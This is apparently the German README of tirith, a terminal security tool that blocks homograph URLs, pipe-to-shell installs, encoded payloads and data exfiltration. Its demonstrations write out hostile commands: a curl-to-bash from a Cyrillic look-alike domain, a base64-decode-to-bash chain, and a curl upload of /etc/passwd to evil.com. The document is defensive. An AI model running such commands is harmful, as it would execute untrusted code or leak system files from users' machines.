
tirith v0.4.2
Terminalsicherheit für Entwickler und KI-Agenten. Fängt homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration und schädliche KI-Fähigkeiten/-Konfigurationen ab, bevor sie ausgeführt werden.
tirith
Ihr Browser würde das abfangen. Ihr Terminal nicht.
Website | Docs | SKILL.md | Changelog | Releases
Unabhängiges Open-Source-Projekt, Hosting unterstützt durch das Vercel Open Source Program (Spring 2026 Cohort).
Können Sie den Unterschied erkennen?
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
Sie können es nicht. Ihr Terminal auch nicht. Beide і-Zeichen sind kyrillisch (U+0456), nicht lateinisch i. Die zweite URL führt zu einem Server des Angreifers. Das Skript wird ausgeführt, bevor Sie es bemerken.
Browser haben dieses Problem vor Jahren gelöst. Terminals geben Unicode, ANSI-Escapes und unsichtbare Zeichen weiterhin ohne Prüfung aus. KI-Agenten führen Shell-Befehle aus und installieren Pakete, ohne zu prüfen, was darin steckt.
Tirith steht am Tor. Es fängt Befehle, eingefügte Inhalte und gescannte Dateien ab – auf Homograph-URLs, verschleierte Payloads, Diebstahl von Zugangsdaten, bösartige KI-Skills/-Konfigurationen und bekannte schädliche Pakete/Domains/IPs aus einer signierten Threat-Intelligence-Datenbank – bevor sie ausgeführt werden.
brew install tirith
Dann in deinem Shell-Profil aktivieren:
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | source
[!TIP]
eval "$(tirith init)"erkennt deine aktuelle Shell automatisch (es untersucht den übergeordneten Prozess und greift bei Bedarf auf$SHELLzurück). Das explizite--shell-Flag ist nur erforderlich, wenn du die Erkennung überschreiben möchtest.
Oder lass Tirith die Startdatei für dich schreiben, als einen überprüften Plan, den du rückgängig machen kannst:
tirith setup recommended --scope user --shell zsh --dry-run # preview
tirith setup recommended --scope user --shell zsh # apply
Das war die Abdeckung der interaktiven Shell. Befehle, die von dieser Shell akzeptiert werden, werden geprüft, während der Hook geladen und funktionsfähig ist; das genaue Blockierungsverhalten hängt von der Shell und dem Modus ab. Führen Sie nach der Installation und nach Upgrades tirith status aus: Es zeigt an, ob der geladene Hook dieses Terminals aktuell ist. Führen Sie tirith doctor --verify-shell aus, um die Blockierung in der Shell selbst zu beobachten, und lesen Sie Durchsetzung nach Shell, bevor Sie den Hook als Autorisierungsgrenze behandeln. Saubere Befehle bleiben still und nehmen normalerweise den schnellen Pfad.
Ebenfalls verfügbar über npm, cargo, mise, apt/dnf und mehr.
In Aktion erleben
Homograph-Angriff, vor der Ausführung blockiert:
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
Der Befehl wird niemals ausgeführt.
Einfache HTTP-Anfrage an eine LAN-Adresse, gewarnt, nicht blockiert:
$ curl http://192.168.1.20:8080/health
tirith: WARNING
[MEDIUM] raw_ip_url, URL uses raw IP address
[MEDIUM] plain_http_to_sink, Plain HTTP URL in execution context
[MEDIUM] private_network_access, Private network access: 192.168.1.20
Warnung wird auf stderr ausgegeben. Der Befehl wird trotzdem ausgeführt. Ein Download, der an eine Shell weitergeleitet wird
(curl ... | sh), ist keine Warnung: Er wird als curl_pipe_shell blockiert.
Base64-Decodierungs-Ausführungskette, blockiert:
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
Fängt auch Dekodierungsketten über sudo/env-Wrapper und PowerShell -EncodedCommand ab.
Anmeldedaten-Exfiltration, blockiert:
$ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED
[HIGH] data_exfiltration, Data exfiltration via curl upload
curl command uploads sensitive data to a remote server
Deckt alle curl/wget-Upload-Flags, Umgebungsvariablen ($AWS_SECRET_ACCESS_KEY) und Command Substitution ab.
Bösartige Skill-Datei, beim Scan erkannt:
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
Durchsucht JS/Python-Dateien nach obfuskierten Payloads, dynamischer Codeausführung und Mustern zur Exfiltration von Secrets.
Normale Befehle, unsichtbar:
$ git status
$ ls -la
$ docker compose up -d
Nichts. Null Ausgabe. Du vergisst, dass tirith läuft.
Was es erkennt
245 Erkennungsregeln in 35 Kategorien.